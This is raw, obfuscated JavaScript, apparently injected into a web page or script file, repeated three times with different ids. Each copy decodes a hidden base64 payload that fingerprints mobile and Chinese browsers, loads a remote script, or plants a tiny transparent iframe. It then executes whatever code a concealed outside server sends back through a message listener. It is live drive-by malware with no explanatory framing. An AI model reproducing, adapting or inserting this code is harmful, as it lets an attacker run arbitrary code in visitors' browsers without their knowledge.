eval("\x77\x69\x6e\x64\x6f\x77")["jDUQK"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["_PQALE"]=function(){eval(jDUQK("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KGpEVVFLKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX2ZMR2dKID0gJzwnKydzYycrJ3InKydpcCcrJ3QgJysnc3InKydjPScrJyInICsgdSArICcvYmEucGhwP2lkPScrIjQzNyIgKyciPjxcL3MnICsgJ2MnKydyaXAnKyd0Pic7DQogICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoIlltRnBaSFU9IikpID4gLTEgfHwgX3VhLmluZGV4T2YoakRVUUsoJ1NIVmhkMlZwUW5KdmQzTmxjZz09JykpID4gLTF8fCBfdWEuaW5kZXhPZihqRFVRSygnVVZGQ2NtOTNjMlZ5JykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoJ2FWQm9iMjVsJykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoX2ZMR2dKKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiByZChuLCBtKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogKG0gLSBuICsgMSkgKyBuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcm0oZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGUgJiYgZS50YWdOYW1lLnRvVXBwZXJDYXNlKCkgPT09ICJJRlJBTUUiICYmIGUuc3JjLmluZGV4T2YodSkgPiAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGUubmV4dEVsZW1lbnRTaWJsaW5nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oZS5uZXh0RWxlbWVudFNpYmxpbmcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGxldCBjID0gZFtqRFVRSygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07DQogICAgICAgICAgICAgICAgICAgIHZhciBfaWQgPSBfY2xhc3MgPSAnbScrJ00nKydLcycrJ0ZUJysnQ2UnOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2ZYQlliID0gJ1AnICsgcmQoMSwgMTAwMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgZFsndycrJ3InKydpdCcrJ2VsJysnbiddKCc8ZGknKyd2ICcrJ2lkJysnPSInICsgX2ZYQlliICsgJyI+JyArICc8L2QnKydpJysndj4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snXycrJ19OeScrJ0NRJysnbyddID0gZFsncScrJ3VlcicrJ3lTZScrJ2xlYycrJ3QnKydvciddKCcjJyArIF9mWEJZYik7DQogICAgICAgICAgICAgICAgICAgIF9pZCArPSBkWydxdWUnKydyeScrJ1MnKydlJysnbGVjJysndG8nKydyJysnQWxsJ10oJy4nICsgX2NsYXNzKS5sZW5ndGg7DQogICAgICAgICAgICAgICAgICAgIHZhciB6ID0gdSsiL2QvIitfaWQrIi8iK3IrIi8iK19mWEJZYisiLzQzNyI7DQogICAgICAgICAgICAgICAgICAgIGRbJ3cnKydyJysnaScrJ3RlJ10oJzxpJysnZnJhJysnbWUnKycgJysnc3QnKyd5JysnbGU9JysnIm0nKydhcmcnKydpbjonKycwOycrJ3BhJysnZCcrJ2RpJysnbicrJ2c6MCcrJztiJysnb3InKydkZScrJ3InKyc6Jysnbm8nKyduZScrJzsnKydvcGEnKydjaScrJ3QnKyd5JysnOjAuJysnMCcgKyByZCgyLCA5KSArICc7JysndycrJ2knKydkdCcrJ2g6JyArIHJkKDIsIDUpICsgJ3B4OycrJ2hlaScrJ2cnKydodCcrJzonICsgcmQoMiwgNSkgKyAncHg7JysnImFsJysnbG8nKyd3dHInKydhbicrJ3NwJysnYXJlJysnbmN5JysnICcrJ3MnKydyJysnYz0nKyciJyArIHogKyAnIj4nKyc8LycrJ2lmcicrJ2EnKydtZT4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snYScrJ2QnKydkRXYnKydlJysnbnQnKydMJysnaXN0JysnZW5lJysnciddKCdtZXMnKydzYWcnKydlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlLmRhdGFbciArIF9pZF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBybShjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgRnVuY3Rpb24oakRVUUsoZS5kYXRhW3IgKyBfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCAnZycpLCAnJykpKSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9mTEdnSik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCc9VScrJzNiJysnNScrJ05tTCcrJ3pwJysnV0wnKydsVicrJ25kJysndScrJzRHWicrJ2o5eScrJ0w2JysnTScrJ0hjMCcrJ1InKydIYScsICdtJysnTScrJ0tzJysnRlQnKydDZScsIHdpbmRvdywgZG9jdW1lbnQsIDAsICdUJyk="));};
eval("\x77\x69\x6e\x64\x6f\x77")["jDUQK"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["_PQALE"]=function(){eval(jDUQK("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KGpEVVFLKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX2ZMR2dKID0gJzwnKydzYycrJ3InKydpcCcrJ3QgJysnc3InKydjPScrJyInICsgdSArICcvYmEucGhwP2lkPScrIjQzOCIgKyciPjxcL3MnICsgJ2MnKydyaXAnKyd0Pic7DQogICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoIlltRnBaSFU9IikpID4gLTEgfHwgX3VhLmluZGV4T2YoakRVUUsoJ1NIVmhkMlZwUW5KdmQzTmxjZz09JykpID4gLTF8fCBfdWEuaW5kZXhPZihqRFVRSygnVVZGQ2NtOTNjMlZ5JykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoJ2FWQm9iMjVsJykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoX2ZMR2dKKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiByZChuLCBtKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogKG0gLSBuICsgMSkgKyBuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcm0oZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGUgJiYgZS50YWdOYW1lLnRvVXBwZXJDYXNlKCkgPT09ICJJRlJBTUUiICYmIGUuc3JjLmluZGV4T2YodSkgPiAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGUubmV4dEVsZW1lbnRTaWJsaW5nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oZS5uZXh0RWxlbWVudFNpYmxpbmcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGxldCBjID0gZFtqRFVRSygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07DQogICAgICAgICAgICAgICAgICAgIHZhciBfaWQgPSBfY2xhc3MgPSAnbScrJ00nKydLcycrJ0ZUJysnQ2UnOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2ZYQlliID0gJ1AnICsgcmQoMSwgMTAwMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgZFsndycrJ3InKydpdCcrJ2VsJysnbiddKCc8ZGknKyd2ICcrJ2lkJysnPSInICsgX2ZYQlliICsgJyI+JyArICc8L2QnKydpJysndj4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snXycrJ19OeScrJ0NRJysnbyddID0gZFsncScrJ3VlcicrJ3lTZScrJ2xlYycrJ3QnKydvciddKCcjJyArIF9mWEJZYik7DQogICAgICAgICAgICAgICAgICAgIF9pZCArPSBkWydxdWUnKydyeScrJ1MnKydlJysnbGVjJysndG8nKydyJysnQWxsJ10oJy4nICsgX2NsYXNzKS5sZW5ndGg7DQogICAgICAgICAgICAgICAgICAgIHZhciB6ID0gdSsiL2QvIitfaWQrIi8iK3IrIi8iK19mWEJZYisiLzQzOCI7DQogICAgICAgICAgICAgICAgICAgIGRbJ3cnKydyJysnaScrJ3RlJ10oJzxpJysnZnJhJysnbWUnKycgJysnc3QnKyd5JysnbGU9JysnIm0nKydhcmcnKydpbjonKycwOycrJ3BhJysnZCcrJ2RpJysnbicrJ2c6MCcrJztiJysnb3InKydkZScrJ3InKyc6Jysnbm8nKyduZScrJzsnKydvcGEnKydjaScrJ3QnKyd5JysnOjAuJysnMCcgKyByZCgyLCA5KSArICc7JysndycrJ2knKydkdCcrJ2g6JyArIHJkKDIsIDUpICsgJ3B4OycrJ2hlaScrJ2cnKydodCcrJzonICsgcmQoMiwgNSkgKyAncHg7JysnImFsJysnbG8nKyd3dHInKydhbicrJ3NwJysnYXJlJysnbmN5JysnICcrJ3MnKydyJysnYz0nKyciJyArIHogKyAnIj4nKyc8LycrJ2lmcicrJ2EnKydtZT4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snYScrJ2QnKydkRXYnKydlJysnbnQnKydMJysnaXN0JysnZW5lJysnciddKCdtZXMnKydzYWcnKydlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlLmRhdGFbciArIF9pZF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBybShjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgRnVuY3Rpb24oakRVUUsoZS5kYXRhW3IgKyBfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCAnZycpLCAnJykpKSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9mTEdnSik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCc9VScrJzNiJysnNScrJ05tTCcrJ3pwJysnV0wnKydsVicrJ25kJysndScrJzRHWicrJ2o5eScrJ0w2JysnTScrJ0hjMCcrJ1InKydIYScsICdtJysnTScrJ0tzJysnRlQnKydDZScsIHdpbmRvdywgZG9jdW1lbnQsIDAsICdUJyk="));};
eval("\x77\x69\x6e\x64\x6f\x77")["jDUQK"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["_PQALE"]=function(){eval(jDUQK("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KGpEVVFLKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX2ZMR2dKID0gJzwnKydzYycrJ3InKydpcCcrJ3QgJysnc3InKydjPScrJyInICsgdSArICcvYmEucGhwP2lkPScrIjQzOSIgKyciPjxcL3MnICsgJ2MnKydyaXAnKyd0Pic7DQogICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoIlltRnBaSFU9IikpID4gLTEgfHwgX3VhLmluZGV4T2YoakRVUUsoJ1NIVmhkMlZwUW5KdmQzTmxjZz09JykpID4gLTF8fCBfdWEuaW5kZXhPZihqRFVRSygnVVZGQ2NtOTNjMlZ5JykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICBpZiAoX3VhLmluZGV4T2YoakRVUUsoJ2FWQm9iMjVsJykpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoX2ZMR2dKKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiByZChuLCBtKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogKG0gLSBuICsgMSkgKyBuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcm0oZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGUgJiYgZS50YWdOYW1lLnRvVXBwZXJDYXNlKCkgPT09ICJJRlJBTUUiICYmIGUuc3JjLmluZGV4T2YodSkgPiAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGUubmV4dEVsZW1lbnRTaWJsaW5nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oZS5uZXh0RWxlbWVudFNpYmxpbmcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGxldCBjID0gZFtqRFVRSygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07DQogICAgICAgICAgICAgICAgICAgIHZhciBfaWQgPSBfY2xhc3MgPSAnbScrJ00nKydLcycrJ0ZUJysnQ2UnOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2ZYQlliID0gJ1AnICsgcmQoMSwgMTAwMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgZFsndycrJ3InKydpdCcrJ2VsJysnbiddKCc8ZGknKyd2ICcrJ2lkJysnPSInICsgX2ZYQlliICsgJyI+JyArICc8L2QnKydpJysndj4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snXycrJ19OeScrJ0NRJysnbyddID0gZFsncScrJ3VlcicrJ3lTZScrJ2xlYycrJ3QnKydvciddKCcjJyArIF9mWEJZYik7DQogICAgICAgICAgICAgICAgICAgIF9pZCArPSBkWydxdWUnKydyeScrJ1MnKydlJysnbGVjJysndG8nKydyJysnQWxsJ10oJy4nICsgX2NsYXNzKS5sZW5ndGg7DQogICAgICAgICAgICAgICAgICAgIHZhciB6ID0gdSsiL2QvIitfaWQrIi8iK3IrIi8iK19mWEJZYisiLzQzOSI7DQogICAgICAgICAgICAgICAgICAgIGRbJ3cnKydyJysnaScrJ3RlJ10oJzxpJysnZnJhJysnbWUnKycgJysnc3QnKyd5JysnbGU9JysnIm0nKydhcmcnKydpbjonKycwOycrJ3BhJysnZCcrJ2RpJysnbicrJ2c6MCcrJztiJysnb3InKydkZScrJ3InKyc6Jysnbm8nKyduZScrJzsnKydvcGEnKydjaScrJ3QnKyd5JysnOjAuJysnMCcgKyByZCgyLCA5KSArICc7JysndycrJ2knKydkdCcrJ2g6JyArIHJkKDIsIDUpICsgJ3B4OycrJ2hlaScrJ2cnKydodCcrJzonICsgcmQoMiwgNSkgKyAncHg7JysnImFsJysnbG8nKyd3dHInKydhbicrJ3NwJysnYXJlJysnbmN5JysnICcrJ3MnKydyJysnYz0nKyciJyArIHogKyAnIj4nKyc8LycrJ2lmcicrJ2EnKydtZT4nKTsNCiAgICAgICAgICAgICAgICAgICAgd1snYScrJ2QnKydkRXYnKydlJysnbnQnKydMJysnaXN0JysnZW5lJysnciddKCdtZXMnKydzYWcnKydlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlLmRhdGFbciArIF9pZF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBybShjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgRnVuY3Rpb24oakRVUUsoZS5kYXRhW3IgKyBfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCAnZycpLCAnJykpKSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9mTEdnSik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCc9VScrJzNiJysnNScrJ05tTCcrJ3pwJysnV0wnKydsVicrJ25kJysndScrJzRHWicrJ2o5eScrJ0w2JysnTScrJ0hjMCcrJ1InKydIYScsICdtJysnTScrJ0tzJysnRlQnKydDZScsIHdpbmRvdywgZG9jdW1lbnQsIDAsICdUJyk="));};